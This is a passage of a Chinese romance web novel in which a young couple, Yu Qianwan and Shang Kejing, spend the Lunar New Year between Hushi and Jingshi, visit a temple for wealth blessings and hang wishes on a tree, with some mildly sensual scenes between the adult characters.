话题告终,她们很快就聊起些旁的事。 逃过一劫的虞千绾轻呼口气,放置在腿侧的手机忽然嗡了下发出轻微震动。 手机是倒扣放着的,虞千绾并没有看到屏幕,但她就是知道消息来自于谁,贴在腿侧震动泛起的皮肤淡淡酥麻感还未散去,虞千绾眉眼间就噙上了些春波。 她瞄了眼正聊得高兴的大人们,拿着手机默默朝沙发边缘挪了挪。 爸妈和外婆聊的大多都是沪市这边的亲戚,虞千绾没几个熟悉的,连人和名字都对不上,听得一头雾水。 商恪景的消息一来,她顿觉有了消遣,边左耳进右耳出的听着她们的交谈边进到微信去详看置顶消息。 【在干嘛】 虞千绾眉梢扬起的弧度更大,自动把这三个字中译中为——【我想你了】 搭在手机侧缘的食指轻点两下,她有些坏心地发:【真是背后不能说人,刚和我外婆聊完你,你的消息就来了】 收到这条消息的商恪景身形顿时坐直。 【嗯?】 【聊我什么了?】 他同她爸妈这么熟悉先前都紧张见面更别提不怎么熟悉的外婆了。 虞千绾真可惜不能面对面和他说这事逗他,看不到他的精彩表情,手上持续打着字回复:【我外婆知道你明晚要来沪市的事情了,说想喊你过来一起吃顿饭】 她故意不加任何表情包,以一种平静的方式阐述。 聊天框顶端迅速出现【对方正在输入中】,但光出现这几个字,新消息却不见弹出。 【对方正在输入中】出现消失又出现,如此几次后消失就没再出现。 一般聊起天都是秒回的商恪景突然就没了动静。 没绷住,虞千绾逸出声轻笑,忍不住脑补着他此刻的慌乱模样。 一分多钟过去,仍没收到回复的虞千绾明知故问:【人呢?怎么不回我?】 两秒后,一张截图就这么猝不及防跳入她眼帘。 是选购飞机票的APP页面。 【在看票】 【?】 虞千绾的笑容陡然消失,紧张的人莫名成了她,懒散窝在沙发里的腰背登时绷得笔直,【什么意思??你看什么票?】 【不好让长辈多等,外婆既然提了的话,我现在过去拜访好些,正好初一,显得我更重视】 【NONONONO!!!】 【啊啊啊啊,不要不要不要不要】 【我在瞎说!】 完全意料之外的答案,玩脱了的虞千绾疯狂敲击手机屏幕打字,美甲在屏幕叩得啪啪作响,生怕迟一秒商恪景那边就要付款买票出发赶来了。 离她最近的虞昭音听到这动静扭头看去,只见虞千绾忽然起身朝外去了。 她看起来似乎很匆忙,手机被她急急贴到耳边。 至于要给谁打电话,不难猜。 真是热恋期。 他们这才分开半天不到吧? 沉稳的性格让虞昭音天然不会在恋爱中有这样的时期,即便是有,浓度比之虞千绾和商恪景也是要淡上许多许多的。 视线回正的途中,虞昭音扫过坐在地毯上拼乐高的小橙子侧脸,稚嫩却相似的面部轮廓让她兀地产生几分恍惚。 像她,也像他。 虞昭音忽然就想到了那人。 默然须臾,她打开手机,点入微信,寻到卡着零点给她发来新年祝福的那条聊天框,仅回了简约的新年快乐四个字。 间隔了十几个小时才回的消息,那边人却也不恼,反而秒回她。 虞昭音猝然清醒过来,有些懊悔。 但消息已经被他看到,撤回不过是此地无银三百两。 她切出聊天页面,灭了屏,不再回复- 庭院中一株正盛放的迎春花树下,虞千绾把事情全过程都说给了商恪景听,成功阻止了他买票。 黄色的迎春花在光秃秃的冬季分外惹眼明亮,让人仅是看到就油然而生出好心情。 但树下的氛围却不太妙。 虞千绾叽里咕噜说完一通后,只得到了商恪景略显寡淡的一声“哦。” 一听就知道不高兴了。 虞千绾不明所以,她也没跟他开很过分的玩笑,以他们曾经的玩笑程度,这才哪到哪?怎么就变成这样了呢。 她寻不到问题所在,但意识到商恪景不开心,再开口的声音还是带了些哄,“怎么啦?你很想见我外婆吗?我还以为你紧张不敢这么快就见她呢。” “是会紧张。” 虞千绾轻嗯了声,更为不解地等着他后头的话。 “……但今天去的话,可以早些见到你。” 商恪景声音低了些,像是对着手机眷眷诉出的。 磁性的声音裹挟着浅浅电流感渡入耳中,虞千绾耳根子一麻,不自觉闭了闭眼,心口也软乎乎的。和他相比,她怎么时不时就感觉自己是个钢铁直女。 商恪景不是不能初一就来沪市找虞千绾,毕竟以他们现在的关系,他爸妈肯定会放人,不会薅着他让他必须待在京市拜年。何况他这么大了,真想做什么家里人也管不住。 但虞千绾的情况和他不同,她外婆久居沪市,他总不能初一初二这种日子就过去把她喊出来玩,耽误她们祖孙相聚的时光,那也未免太不懂事。 可看到虞千绾说她外婆喊他去吃饭的瞬间,他终于师出有名,只想赶快去见她。 尤其有半天的时间没见了,他很想她。 虽说之前工作的时候也是大半天见不到,但那时他清楚她就在家里住着,就在京市,下班回去就能见着她,现下却是分隔在两个城市,思念被距离拉得浓烈。 结果却是白高兴一场。 一阵只余细微呼吸声的短暂沉默后,虞千绾双手扶住手机更为紧密地压在耳侧,软声问询:“初五那天,你有安排吗?” 商恪景郁闷归郁闷,但回话的态度还是很好,“……你来问,肯定是没有安排的。” 几乎是闻言的瞬间,虞千绾就低头呵笑出声,面颊布满甜蜜,她不禁感慨着问:“商恪景~你还是以前那个老和我斗嘴的商恪景吗?” 手机里也传来声商恪景的轻笑声,“那你还是以前那个动辄凶我的虞千绾吗?声音怎么嗲成这样?听得我——” 他话语忽顿,笑不可支的虞千绾下意识敛了些笑竖耳细听,“什么?” 商恪景明显正在亲戚家拜年,他那边总有别人交谈的背景音,因为商恪景和亲戚们之间保持了距离,所以虞千绾听不真切背景音到底在说什么,只知晓有人与他在同一空间内,并且人还不少,多道人声混杂。 大抵也是如此,商恪景说起亲近话不大自如,声音压得很轻,轻到几乎是用气音呢喃出:“……想吻你。” 虞千绾眉眼间染上的小女生羞臊感渐浓,话到嘴边,她想到早上给他的消息,转而口是心非道:“说了不给亲的。” “说了就亲的。” 商恪景总喜欢学她说话,用她的语式,用她的腔调。 听到他的模仿,虞千绾才意识到自己的声音有多夹,她有些恼羞成怒地唤他,“商恪景!” 但转瞬那点怒就全没了。 因为商恪景又学她,喊了她的名字,却是以一种极度缱绻的调调,后面还自己添了句“我想你。” 撩人极了。 任谁听到男朋友这种话还能生得起气? 总归虞千绾是不能。 一个小玩笑开启的电话愣是持续了十来分钟。 直到商恪景那边得去另位亲戚家拜访不好再一直打电话这才不得不结束。 临挂断前,虞千绾才猛然想起初五的事,加快语速赶忙和商恪景说了个大概,“初五还是老规矩,我爸妈和我姐他们要去寺庙拜财神,我想着我不是工作了嘛,也去拜拜。你可以问问叔叔阿姨,如果他们也去的话可以一道。” “好,我问问,他们去的话我让他们自己和贝姨虞叔联系。” “好。” 对话暂停,通话却迟迟无人挂断。 商恪景先发出声笑,跟着虞千绾也笑了声。 谁都没说思念,却都分外明确地感知到了。 商恪景抵在手机背面的食指指腹轻轻摩挲了几下,就似在隔着网络触碰那端的她。 “挂吧。”他温潺低眠地说。 “……嗯。” 或许是虞千绾的不情愿表达的太明显,商恪景又道了句:“电话不方便打,消息可以一直发。” 虞千绾手指险些就点到了挂断键,他忽然出声她急遽偏开,切切又把手机捂回耳边。 场面略显滑稽,她不禁发笑,“好啦好啦,你别说话了,再说又挂不掉了。” “不说了。” “你这还是在说。” “你一说话我总想回你,你可以不理我直接挂。” “……我才不要。” 商恪景鼻息沉了些。 “女朋友。”他忽而用一本正经的语调这么唤她,“再这样我真赶去沪市了。” 听出他的认真,虞千绾迅速道句“拜拜男朋友”就撂了电话。 电话是挂了,但心还泛着层层涟漪难以平静下来,不过室外的温度好像突然就有了实感,格外的冷,让人不愿多待。 虞千绾缩了缩颈,双手都揣在兜里,转身刚欲回屋,右手又从兜里探出,指尖在垂下的迎春花上点了点,像是蝴蝶驻足。 心情愉悦,即使是做这样的一个幼稚举动也由衷笑出声。 一时间,绽放的粲然笑颜倒要明媚过满树金黄色的迎春花- 商恪景是初二晚上八点多到达的沪市高铁站。 如若坐飞机还要等一小时后的航班,他等不及,只想早些见到她,早一秒都好。 虞千绾也早等在了出口处。 商恪景一出闸机,早早对上眼神的两人就抱在一起,并肩往前走。 虞千绾本来是想过来挽商恪景胳膊的,但商恪景先一步揽住了她的肩,她便转而单手环在他腰后。 眼睛也不看路,就仰着脑袋直勾勾笑眯眯地瞧着他。 沪市高铁站闸机口出来的这截路本身修建的就不是很空旷,年节期间来往各地的人又多,高铁站更是拥挤,人头攒动的。 商恪景一边看路一边护好虞千绾,见缝插针地垂眸去回视她。 他一看过来,虞千绾就笑得分外灿烂,手上也将他抱得更紧,很是黏人。 商恪景很难不心动。 仿佛此刻被人群挤压着的不是他们的身体,而是心脏。 虞千绾外婆家的司机就等在高铁站外,看到两人出来立即上前帮着拿过商恪景背着的单肩包。 就在这待一天,商恪景没带什么东西,只简单带了贴身衣物和手机充电线之类的必需品,一个单肩包足以。 三人先后上了车,司机边系安全带边问去哪里。 “想出去玩吗?” 商恪景看了眼窗外缤纷的霓虹灯,夜幕降下后正是最美的时候。 虞千绾语噎,一时间分不出他到底是说真的还是在装傻逗她。 虽说他们初一才分别初二就见到,但一个是早上一个是晚上,中间差了几乎两天的时间。 现下见到哪里还有出去玩的心思?当然是得腻在私密空间里好好的过会儿二人世界。 她等在高铁站出口闸机前远远眺见他的第一眼,她就想吻他。 结果他现在居然问她要不要出去玩。 虞千绾登时有些气不打一处来,她真想怄气回“当然出去”,但视线总是忍不住滑过他肉粉色的薄唇,最终还是馋他身子的念头占了上风。 不过一开口却好似在为商恪景着想,“……不出去了吧,这个点也不早了,你坐这么久高铁赶过来挺累的,还是直接去酒店休息吧。早睡早起,我们明天再出去玩。” “行。” 商恪景打开手机看了眼事先订好的酒店,将位置告知给司机。 商恪景订的是离虞千绾外婆家最近的那家酒店,司机一听名字就知道了,导航都没开就载着他们轻车熟路驶往。 因为离得不远,到达酒店门口后,虞千绾就让司机先回去了,不用一直在停车场等她。 她可以自己溜达回去,就当是散步了。 商恪景一手拎起单肩包背到肩后,一手牵着虞千绾进到酒店大堂,出示身份证拿到房卡。 虞千绾还陷在刚刚的不悦里有些生闷气,对商恪景爱答不理的,不主动说一个字。结果这人倒好,他也不说话,让她连个阴阳怪气的契机都没有,虞千绾更气了。 房卡挨到房门上,发出“滴”的一声。 商恪景率先进去,虞千绾慢吞吞地跟着,身形刚进了一半,腕间力度急不可耐地一扯。 门跟着被略沉地摔上,发出砰响。 事发突然,完全没设防的虞千绾就这么被拽到了房间里,身子难自控地前跌入男人怀中,下颚跟着被擒住挑起。 一切都发生得太快太急,房间里还没开灯,漆黑一片。 就在这黑暗里,商恪景准确无误地寻到了虞千绾饱满的唇,唇齿微张就去含她的软甜的舌尖。 浑身触电般,虞千绾轻颤了下,被迫张着的檀口哼出声很轻的“嗯~” 脸颊跟着就想别开,但未能成功,商恪景扣住她下颚的长指发现她的意图毫不费劲就给掰了回来,且以更稳的力度牢牢控住她,不让她躲闪分毫。 商恪景颀长身形不断下压,不断更深更密地吮含着她,大有种要把她拆吞入腹的架势。 他的吻技在一次次的吻中进步,已然到了虞千绾逐渐招架不住的状态。 她分不清是商恪景压过来的体型太沉还是自己身体发软稳不住身子,抑或二者皆有,总归她在不自觉间后退,一点一点……直到背脊贴到坚硬的墙壁无法再退。 视线受阻时,听觉就变得格外灵敏。 昏暗的环境无疑是暧昧的催化剂,遑论耳畔还持续萦绕着商恪景不稳的喘息声。 是明显不同于以往的,很色气的低喘。 不知是不是因为近两日没见,商恪景的渴求和掠夺感很甚,虞千绾身体也变得很敏感,她尚未没感觉到商恪景的硬挺,自身却已有了湿漉。 几乎是本能,虞千绾微昂着脸回吻商恪景。 商恪景俯着身,背在身后的单肩包便有些不稳,随着他的动作逐渐滑到肩头,忽然掉落,挂在了他臂弯处。 商恪景嫌麻烦,垂落胳膊让包就这么径直掉在地上,顺脚就将包往一旁抵了抵。 包里没有重物,但屋内太静,落到地面时免不得还是会有些轻响。 陷在迷情中的虞千绾眼睫忽颤,这轻短的一声异响似是牵起了她一线理智,她倏地顿住了动作不再回应他,攀在他颈后的手也在一蜷后滑至他胸膛抵着他。 但商恪景脸皮越来越厚了。 他再不会像刚接吻那会儿她稍微有一点点排斥就自觉停下,现在的他分辨得出排斥究竟是真心还是佯装,所以他吮得更用力了,还浮浪地在她口腔内搅动着,带起阵阵水声,诱惑着她继续进入吻中。 虞千绾被他弄得羞极了,可想着刚刚他让自己产生的不快,她现在就很不想给他亲。 她强撑着理智,一边缩着舌躲避着他的灵活,一边继续用力抵着他的胸膛,时而还会捶打几下。 可都无用。 商恪景倒像是把这当成了一种情趣,她躲一点他追一点,在她的嘴巴里玩起了猫抓老鼠的把戏。 虞千绾实在羞恼了,手指上移就掐住商恪景脖颈,虎口卡住他凸显的喉结。 脆弱的命脉被把住,且不轻的一下。 商恪景眉头微蹙,喉间溢出声闷哼。 激烈贲张的情绪翻涌着,虞千绾力气有些失了控,她也没想到会弄疼他,还当是很轻的一下,意识到的瞬间她就赶忙收了劲,呼吸都屏了屏。 房间的窗帘是大敞着的,多少会泄入些窗外的光线。 虽然依旧很暗,但当在这样的环境里待久了后,眼睛也就愈发适应,不再像刚进入时那般什么都瞧不见,虞千绾现在可以模糊看到商恪景的面部轮廓和眼睛。 可惜到底蒙了层晦暗,没让虞千绾看清商恪景真正的神情。 他压根不是痛,起码现在不是,仅在刚被掐住的那一秒升起过不适的微窒感。但跟着,眉眼间化开的是近乎极致的舒愉,他是爽到了,爽到裤子都顿感紧绷了不少。 但虞千绾不知道,她睁着无辜澄澈的眼睛却瞧不真切,只知道商恪景没有再吻她了,他缓缓退开了身子,不过没有退多远,俊脸依旧伏在她面前堪堪毫厘的位置。 商恪景越不说话虞千绾越感觉自己干了多么十恶不赦的事,她不由得曲着食指,顺着商恪景颈侧摸索到他喉结上轻轻蹭了蹭,像是想以此为他抚去刚刚的疼。 商恪景笑了声,胸腔都在轻震。 他忽地埋首在虞千绾颈间,“宝宝……” 这次的轻唤水到渠成,没有逗没有玩笑全是真心,分外顺畅也合情合景,商恪景毫无卡顿也没表现出不自在,掺着十足十的腻乎,虞千绾却没那么自如,耳根子还是麻酥酥的,一时间难以完全适应这个称呼。 “这是你第二次掐我脖子了。” 商恪景的声音很哑很磁性,黏黏糊糊的,尾调微扬,绝对是没有任何责怪的意思。 但虞千绾自觉反省,她之前也没这个习惯,只是和他亲近的时候,推别的地方压根推不动他,喉结是唯一展露出的脆弱处,所以她一情急一恼羞成怒就想掐住他脖子将他后推。 事出有因,心里的情绪还没消化掉,她嘴上硬着不先服软认错,“……不怪我。你不是要出去玩吗?干嘛现在给我堵在这亲个不停。” “我没有想出去。” “你上车第一句话就是这个!” 虞千绾气恼地睁圆了眼,还当是商恪景不认,刚欲发作和他掰扯。他的唇忽然落到了她的颈侧,一路向上流转至她耳垂,边贴吻边含着情动的性感声线道:“我只是怕……你觉得我满脑子都是这些才那么问的,我想你想得要命……” 接连误解两次,虞千绾哑了火。 “我……”她动了动唇还想狡辩什么,但说不出,默然须臾,她老实嗡下声认错,“好嘛……那我以后不掐你脖子了。” 她又抬手去摸了摸他的喉结,“还疼吗?” “不掐了?” 商恪景身形直起些,声调也重了些。 虞千绾不明所以,茫然眨了眨眼,“……嗯。” 商恪景鼻息间发出声幽长的喟叹,听着很哀怨似的。 虞千绾费解思忖几秒,还当他是不信自己的话觉得自己以后还会顺手去掐他,她刚想认真保证,但转而想到什么,她当即补充道:“我肯定不会无故掐你的,但如果你干什么事让我不高兴还亲着我不松开的话,被掐死也是你活该。” 话末故作恶狠狠地嗔了眼商恪景。 “那真是最好的死法了。” 虞千绾一怔,懵了。 商恪景的脑袋又滑了下去,挨在了虞千绾肩头。 她的手也被他带起,他耐着性子掰开她一根根握拳的手指,然后在她的不解下领着她的手放在他脖子上。 另手覆在她手背上,压在她五指上微微用力,以一个恰到好处的力度。 很晦涩的一声喘息就这么毫不掩饰的自商恪景口中漾出。 他伴着低喘,在虞千绾看不到的地方涣散着瞳孔喃喃—— “不能不掐我,宝宝。” “……我喜欢你掐我。” 作者有话说:[求你了][求你了]有读者宝宝喜欢我们千绾和恪景吗? 评论区好冷清[可怜][可怜][可怜] 第80章 第 80 章 独占你 这晚, 虞千绾踩着零点的边界线回到外婆家。 翌日一早在大家还睡着的时候就已经收拾好出门去找商恪景了。 家里人晨起看到虞千绾房间空荡荡的免不得笑噱她,说从没见过她这么勤快,早上能不要人喊就起这么早,爱情的力量果然强大。 商恪景爸妈也很好奇商恪景来沪市后发生的事, 但他们又不好太直白的询问, 问了商恪景也只会答得避重就轻, 所以他们给虞千绾爸妈发了消息。 双方爸妈索性偷偷新建了个没有孩子的四人群聊, 在里面随时交换情报, 顺势还沟通好了大年初五去寺庙拜财神的具体时间安排。 …… 虞千绾和商恪景不知道来过多少次沪市,沪市是他们除了久居的京市外去的次数最多的城市, 能玩能逛的地方基本都被他们玩了个遍, 所以一时也想不出什么很特别很想去的地方。 期间虞千绾想到一个刺激的玩法,随便乘上一辆公交车, 再随便说一个数字,譬如4, 那么他们就在第四站下车。 抑或乘坐地铁。 总归完全交给未知。 即便他们意外到达的地方是曾经去过的, 但这抹未知仍旧给他们添了别样的新奇。 而且身边人是有了全新身份的彼此,旧地重游已是最大的乐趣。 一天的时光伴随着欢声笑语濒临尾声。 黄昏时分,余霞成绮,不少人都拿起手机对着天际拍下这漂亮的自然风光。 虞千绾的笑颜却在注意到的那刹顿住, 一点点敛下, 嘴巴瘪了瘪。 商恪景是晚上九点多的飞机回京市,暮色来了的话,他们也将要分别了。 虞千绾本不觉得自己会很难受的, 因为她们一家明天下午也要回京市了,大概傍晚就能到京市机场,这样晚上还能和商恪景见到, 分别也就一天的时光。 可真到这时候,她才发现她太高估了自己。 她就是个不想和男朋友分开的粘人精,一天也不想。 他们正处于商业街内一家烤串店前,虞千绾一路嗅着香味寻过来的,商恪景付完钱从老板手里接过装着烤串的圆桶杯,扭头递到虞千绾面前让她拿自己想吃的串时才发现虞千绾的异样。 她吸了吸鼻子,眸光有些湿润地看了他一眼,很快又垂下去看面前的烤串,刚欲伸手提起签子去看每个签子上串的是什么,手腕就被商恪景攥住,他声音陡然轻柔了许多,“怎么了?” 商恪景不问还好,他一问,虞千绾心头更觉触动,眼圈跟着也红了。 她说不出话,嘴巴瘪得更甚委委屈屈望着他。 虞千绾自己都觉得自己有些矫情了,就一天而已,怎么弄得跟生离死别似的,可就是控制不住。在没有爱上他没有恋爱前,她想象过自己陷入爱情后会很黏糊,但没想过黏糊至此。 烤串店的生意很好,又有三五行人排着队过来点单,他们不好一直站在店面旁。 商恪景扫了眼四周,转而揽住虞千绾肩膀,一边低头关切反复问询着她怎么了,一边领着她去到角落的长椅坐下。 他们所坐的位置虽然比较靠内,远离了大部分人潮,但间歇还是会有人路过。 虞千绾不想在这种地方流眼泪引人注意,她只能先背过脑袋不去看商恪景,默默去吸气呼气调节情绪,不然这种时候她越看着商恪景满脸忧虑的样子越想去抱着他哭唧。 奈何事与愿违,商恪景压根没给她这个机会,她的上半身才刚转过去,他跟着就起了身,半蹲在她面前持续关心。 虞千绾再转回去,继续以后脑勺对着她,商恪景也依旧跟着绕到她面前。 如此好几个来回,虞千绾忽然破涕为笑,抬手就在商恪景腰腹处打了下。 声线裹着些闷哑的鼻音,“好幼稚啊,干嘛呢,跟小孩子似的……” 见她笑,商恪景提着的心也终于定下些,不自觉跟着扯唇笑了笑,但眉眼间的担心还噙着。 虞千绾不再躲避视线,商恪景也无需再左右移动,他直接蹲在了虞千绾身前,拉住她一只手,指腹摩挲着她手背,数不清第多少遍问:“怎么了?一转眼的功夫眼睛就红了,发生什么了?” 虞千绾抿了抿唇,看向在天际渲染开的晚霞,就像是一匹介于红橙两色之间渐变的锦缎,“落日了。” 她滞缓地将视线回正,看着面前的商恪景,声音一点点轻下去,“……快到你离开的时间了。” 商恪景虽是九点多的飞机,但那是起飞时间,他还得乘车赶去机场,还得提前些候机。 这么一算,也就没剩多少时间了。 得知缘由竟是自己的商恪景眼睑一颤,像是听到了无比真切的情话,手指动容地上抬,覆在虞千绾隐有潮湿的眼尾。 虞千绾脸颊朝他的手心轻微倾了倾,依恋但幅度很小地上下轻蹭了两下。 周围环境很喧闹,店面一个赛过一个的宣传喇叭声以及混杂的人声全部交织在一块。 偏偏在这样的情形下,他们无比宁静地望着、感受着对方,一切声音都似被顶开,逐渐消弭。 商恪景率先开了口破开氛围,他唇角牵出一抹笑,眼尾却也染上了些若有似无的红,“正好我不在你明天可以在外婆家里好好休息一天,不然初五还要爬山呢,你这小身板怕是撑不住。” “撑不住就撑不住。” 虞千绾努了努唇,脚尖轻踢了下他的小腿,愈发骄矜地咕哝,“反正你不是在嘛,你背我。” “好。” 商恪景无限纵容地拖着些尾音笑应。 他将放在一旁的烤串拿过来递到虞千绾面前,“那你多吃些,给我增加些难度当健身了。你现在太轻了,背起来一点难度都没有。还想吃什么?我去买。” “夸张,到时候累倒在爬山半途就老实了。” 虞千绾明明知道他在哄她,在说好听话,但唇角就是不自控地上翘。 她低头挑了串面筋,右手拿着吃,左手拉着商恪景起身,深呼口气,挽住他又往人潮多的地方去,不再浪费仅剩的二人时光,“边逛边看吃什么吧,冷不丁让我说我也不知道。” 就这么,他们又四处逛了一个小时,直到收到来接他们的司机消息才不得不结束美好的一天,赶往机场。 看多了虞千绾的背影,冷不丁是她来送他看他离开的背影,商恪景总还有些如梦似幻感,也更加不舍。 他们到底没忍住,在行人匆匆的机场里落下了一枚极尽思念但蜻蜓点水般简短的吻。 即将分别的情绪压过一切,他们已经无暇顾及会不会有旁人瞧见。 送离商恪景回到车上后,虞千绾还是没绷住眼泪,不过就掉了几滴,如果不刻意捕捉的话很快就会消失无痕,但虞千绾怼脸拍了下来,转而就发送给商恪景。 【掉小珍珠了,想想回京市后怎么哄我】 【那……】 【要不要给我个机会,正好也遂了外婆的愿,明年正式带我来沪市过年?】 【这样以后就不会分开了】 虞千绾不是听不出他话后暗含的私心,他都快把私心摊在明面上了。 带他回家过年的话,那程度可和告知长辈与他交往完全不同,相当于是男朋友和未婚夫的差别。 但她还是不假思索地笑着回:【好】 大抵确如外婆所说的那般,他们之间情况不同,是打小就认识且关系很好的朋友,交往后的进度确实可以拉快些。 而且虞千绾总觉,他们之间是不需要过多言语和流程的,他们早就是对方生命中不可分割的一部分了。不论是“未婚夫”的身份还是结婚证都是外界额外附加的,远不敌他们的真心- 大年初四傍晚,虞家一家五口降落京市机场,商恪景亲自过来迎。 两个人在家人面前愈发不知收敛,直接就拥搂在了一起,像连体婴般前进。 浑不知背后的贝菡偷拍了一张他们的背影照发到了和商恪景爸妈的四人群聊中。 大年初五是迎财神的日子,顾名思义是想祈求新的一年赚大钱。 这世上没多少人不想要财,但虞家人尤其,还沾点迷信,从虞昭音和虞千绾的名字上就可见端倪。 虞昭音的‘昭’是来源于比钱财计数单位亿还要庞大的‘兆’,但因为觉得兆这个字放在名字里没那么好看便取用昭。 虞千绾更是简单明了,千绾,千万。 若不是当初爸妈想破脑袋都没想出怎么在名字里加上‘亿’能好听且不常见,虞千绾的名中定然会有个和‘亿’字差不多的,但没想出与‘亿’相关,便退而求其次取了个‘千万’相关。 坐落在京市的清拂寺是有着近百年历史的寺庙,出了名的求财灵验,从虞千绾有记忆开始,爸妈每年初五都会特意去清拂寺虔诚拜求,她也跟着去过几次,但每次之间都会间隔好些年,因为清拂寺很高,爬起来很累人。 清拂寺近些年倒也顺应时代潮流装了缆车,可以毫不费力地登顶,但一点力都不使的祈求显然不会成真,所以真心想求的人都会一步一个台阶老实走上去,不会借助外力。 虞千绾每次爬到中途都会嚷着说累,说自己以后再也不来了,但过了几年忘了这滋味又耐不住爸妈的哄不长记性地巴巴跟着去了,然后再喊累,如此往复。 不过今年还不待爸妈开口,虞千绾就主动提了。 毕竟开始工作了,骨子里爱财的属性自动觉醒,想去寺庙求个事业顺利。 清拂寺的香火很旺,加之又是大年初五这样的特殊日子,来求财的香客很多,顺着一眼望不到头的连绵曲折台阶远远朝上一望,乌压压的全是人。 只一眼,虞千绾感觉自己的氧气都要被榨干了,光是看着都觉得累得够呛。 但爸妈四人走在前面,哥哥姐姐走在后面,虞千绾和商恪景被夹在中间,他们一走,虞千绾不得不也迈开脚向上。 这一上就没了回头路,因为感觉到累的时候再想下也是不短的路程,还不如咬牙继续往上。而且身后全是人,逆着人流下更费劲。 他们是一大早来的,行至山顶已至正午。 踩到平坦的地面而非崎岖陡峭的台阶,虞千绾脚下不再感觉悬浮着。 寺庙的人太多,连一个空着的座位都没有,虞千绾便直接挨到了商恪景怀里,一点力不想使的让他撑着自己休缓须臾。 虞千绾平常也有锻炼的习惯,身体素质其实挺不错的,但塑形比较多不是很适应爬山这种持续行走的运动,不过她底子在那,休缓得快些,在商恪景怀里赖了一会儿就又打起了些精气神,毕竟来这的正事还没干呢。 两家人都休息的差不多后排队进到财神殿里拜财神。 流程还挺繁琐,虞千绾就老实跟在爸妈后面学他们,他们怎么做,她就怎么做。 真正跪拜财神的时间其实没有很多,但寺庙人太多,每个流程都在排队,大部分时间都花在了排队上。 忙完这一系列,大家都饿得饥肠辘辘,立即去了寺庙里的素食馆吃午饭。 虞千绾从来都是个无肉不欢的人,但素食馆内的浇头做得很好,她倒是稀奇的全都吃了个精光。 该拜的财神拜完,其余的时间就很悠闲,他们四处逛着,看到什么有意义或很好看的纪念品就买下些。 小橙子太小了,大人一步顶他两步,他爬山太累,不一定能受住,虞昭音便没带他来,但看到护身符的时候免不得牵挂,给他买了一个。 虞千绾和商恪景正在热恋期,看到些祝愿感情美满幸福的物什自然也就买下。 就这么边走边逛,他们行至一处庭院。 院中有两颗粗壮高大的树木,树枝上都挂着红绸和木牌,应是祈愿树。 但两棵树上挂着的红绸木牌数量悬殊过大,一棵树都要找不到空处,能被人够到的树枝上全是红意,都要把绿油油的树叶遮挡了。另颗只见青葱,零星悬着的红绸却更显得寂寥。 虞千绾爸妈每年都来,对清拂寺很了解,他们说一棵树上挂着的是求姻缘的,一棵上挂着的是求财运的。 显然,挂满的那棵是求财运的,尽显当代年轻人的作风。 谁料虞千绾爸妈顺势一句科普倒让商知珩成了众矢之的,商家爸妈指着姻缘树就开始催促商知珩,“你快去挂那边,人少,月老看到的机会大。” 商知珩不动,他们甚至手动开始推他,让他虔心些。 虞千绾不禁轻笑出声,主动拉着商恪景逃离战场去买了八个红绸和八块木牌分给在场的大家。 红绸和木牌上都是可以写字的,红绸是写祝福,随便挂在哪棵树上都行,木牌则是姻缘或财运。 商知珩爸妈觉得自家大儿子情况比较严重,于是又去额外多买了几块木牌都打算让商知珩挂在姻缘树上,增加成真的概率。 虞千绾想的很简单,这趟来就是为了求财的,写下来的愿望自然也都和事业有关,于是她在木牌上写了自己的自媒体账号,写了自家的嘉澍集团。 至于要祝福的,那就祝她和商恪景毕业顺利,家人身体健康吧。 虞千绾没多犹豫思量,顺心而为,利落干脆地落笔,很快写完。 扭头就好奇去看商恪景,商恪景说这种事被别人看到就不灵验了,于是在写之前刻意和虞千绾保持了距离,站在了离她一截的位置。此刻他的面容看起来很纠结,笔悬着,思忖好一会儿落一下,时而写几笔,时而还没碰到木牌就又拿了起来。 虞千绾起初没想偷看的,但看着他这样的神情,简直像是在用羽毛挠她的心,她很难忍住不去偷看。 好奇心取胜,她放轻脚步偷偷向商恪景靠近。 脑袋鬼鬼祟祟探至他身后,隔了一段距离歪过他肩侧去窥伺他写下的内容。 商恪景的红绸已经写完了,上面的祝愿也很朴实简单。 ——【祝:虞千绾天天开心,所愿皆所得。 20xx年大年初五,商恪景留。】 天天开心这四个字看起来通俗易见,但对成年人,尤其是即将离开校园步入社会的人来说可谓是个极其难得的奢望了。 虞千绾含着坏心的眼神在看到这句祝福时倏地软柔了下来。 商恪景仍陷在木牌的祈愿中,且陷得不浅,浑没意识到身后悄然靠近的虞千绾。 他眉宇蹙着,凝着木牌上的黑字思量是否可以,是否得当。 一只手就这么猝不及防从他身侧伸过来,径直拿走了他手上的木牌。 商恪景一惊,扭头就见虞千绾翻过木牌,在他没写过字的木牌背面竖着写下洋洋洒洒的三个字——【独占你】 然后握着拍到他心口,眉眼恣情明媚扬着,“男朋友,你这么啰嗦,月老本来看到要帮你实现的都嫌你话多懒得看了。你的霸道,你的占有欲,我一直都是知道的,你连我都骗不了还想骗月老?何况那些爱本来就是不一样的。在爱情里,我也只要独占。” 商恪景轻笑,眼尾跟着微弯,抬手从她掌心拿过木牌,低头用黑笔划去他在愿望后加的后缀。 他起初落笔写的是—— 【商恪景和虞千绾一辈子都要在一起,虞千绾永远只爱商恪景一个】 但写完后,他又觉得不太恰当,于是默默在后面添上括号写:(除了家人,除了女性朋友) 在虞千绾的话后,他又划掉了这些,只遂着第一念头走。 两人携手把这块木牌挂在了姻缘树上。 “独占你”三个字是虞千绾写的,不过下面的落款是商恪景。《 》 80-85 第81章 第 81 章 同床共枕 新年就这么一晃而过。 有工作的开始复工, 学生也逐渐开始复学,但虞千绾和商恪景临近毕业,大四下学期没有任何课程,就连论文都是在线上和老师沟通即可, 只需等到几个月后回校答辩就行, 所以他们没再回京大旁居住, 就住在了别墅区。 如此离永誉大厦也近些, 商恪景不用天天早晚花那么多时间在路程上。 三月初的天气变化无常, 一会儿回暖一会儿又冷得要命,虞千绾不爱看天气预报, 经常按照前一天的温度穿衣服, 出了门感知到寒冷才发现天气不是她所想的那般。 不过虞千绾身体素质一向不错,她很少感冒发烧, 况且出门全程有车接送,吹着冷风的时间顶多也就两三分钟, 她便没多当回事。 偏偏那天不凑巧, 受了冻回家后发现来月经了,月经期女性抵抗力天然会下降。 不过异样也没那么快就出现,虞千绾只是隐隐觉得小腹有些不适,估计是受寒所以轻微痛经, 她便多喝了几杯热水, 早早上床躺着休息。 直到翌日清早五六点时,睡梦中的虞千绾才迷迷糊糊感觉到不对劲,她是被热醒的, 浑身都在发烫,热腾腾的,鼻息加重, 脑袋也格外昏沉。 但那会儿她睡得正熟,人还困着,只有短暂的一个念头在脑海里划过,翻了个身便又继续睡了。 发烧睡觉不踏实,总容易醒。 